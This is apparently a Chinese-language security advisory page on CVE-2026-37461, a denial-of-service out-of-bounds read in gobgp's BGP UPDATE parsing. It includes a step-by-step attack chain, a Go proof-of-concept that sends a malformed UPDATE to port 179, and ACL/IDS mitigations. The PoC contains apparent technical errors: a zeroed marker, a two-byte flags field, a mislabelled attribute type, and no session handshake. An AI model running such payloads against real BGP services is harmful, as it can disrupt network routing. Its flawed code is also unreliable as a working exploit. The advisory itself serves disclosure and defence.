IPBUF安全漏洞报告
English
CVE-2026-37461 CVSS 7.5 高危

CVE-2026-37461 gobgp越界读取致DoS漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-37461
漏洞类型
越界读取
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
gobgp

相关标签

DoSgobgp越界读取BGP高危漏洞

漏洞概述

gobgp v4.3.0版本的ParseIP6Extended函数存在越界读取漏洞。攻击者可通过网络发送特制的BGP UPDATE消息触发该漏洞,导致目标服务崩溃,从而造成拒绝服务(DoS),严重影响网络路由的可用性。

技术细节

该漏洞位于gobgp项目的/bgp/bgp.go文件中的ParseIP6Extended函数。由于代码在解析IPv6扩展头相关数据时,未能充分验证输入数据包的边界长度,导致在处理精心构造的BGP UPDATE消息时发生越界读取(Out-of-bounds Read)。攻击者无需用户交互或身份认证(PR:N),即可远程利用此缺陷。当程序尝试读取非法内存地址时,会引发异常中断或进程崩溃,导致BGP服务停止响应,从而破坏网络连接的稳定性。

攻击链分析

STEP 1
侦察
攻击者扫描网络,寻找暴露在179端口或使用TCP 179端口的gobgp服务实例。
STEP 2
构造攻击载荷
攻击者编写脚本,构造包含特定畸形IPv6扩展头数据的BGP UPDATE消息,旨在触发ParseIP6Extended函数的越界读取。
STEP 3
发送恶意数据包
攻击者向目标gobgp服务建立TCP连接并发送精心构造的恶意BGP UPDATE消息。
STEP 4
触发漏洞
gobgp在解析该消息时,ParseIP6Extended函数读取了非法内存地址,导致程序异常。
STEP 5
达成拒绝服务
gobgp进程崩溃或挂起,导致BGP路由服务中断,影响网络连通性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
package main import ( "bytes" "encoding/binary" "fmt" "net" ) // Conceptual PoC for CVE-2026-37461 // This simulates sending a crafted BGP UPDATE message to trigger OOB read in ParseIP6Extended func main() { target := "127.0.0.1:179" conn, err := net.Dial("tcp", target) if err != nil { fmt.Println("Connection failed:", err) return } defer conn.Close() // BGP Marker (16 bytes) + Length (2 bytes) + Type (1 byte) marker := make([]byte, 16) length := make([]byte, 2) binary.BigEndian.PutUint16(length, 40) // Minimal length to trigger parsing logic typeByte := []byte{2} // UPDATE message // Crafted Path Attributes to trigger ParseIP6Extended vulnerability // Malformed attribute length designed to cause OOB read malformedAttr := []byte{ 0x00, 0x01, // Attribute Flags (Optional, Transitive) 0x14, // Attribute Type Code (e.g., MP_REACH_NLRI related context) 0x00, 0x05, // Length (Deliberately incorrect/malicious) 0x00, 0x02, // AFI IPv6 0x01, // SAFI Unicast // Next hop data that triggers the OOB read 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, } buffer := bytes.NewBuffer(marker) buffer.Write(length) buffer.Write(typeByte) buffer.Write(malformedAttr) _, err = conn.Write(buffer.Bytes()) if err != nil { fmt.Println("Send failed:", err) return } fmt.Println("Malicious BGP UPDATE sent successfully.") }

影响范围

gobgp v4.3.0

防御指南

临时缓解措施
如果无法立即升级,建议在网络设备上配置访问控制列表(ACL),仅允许可信的IP地址建立BGP会话。同时,部署入侵检测系统(IDS)监控异常的BGP流量模式,以便及时发现并阻断攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表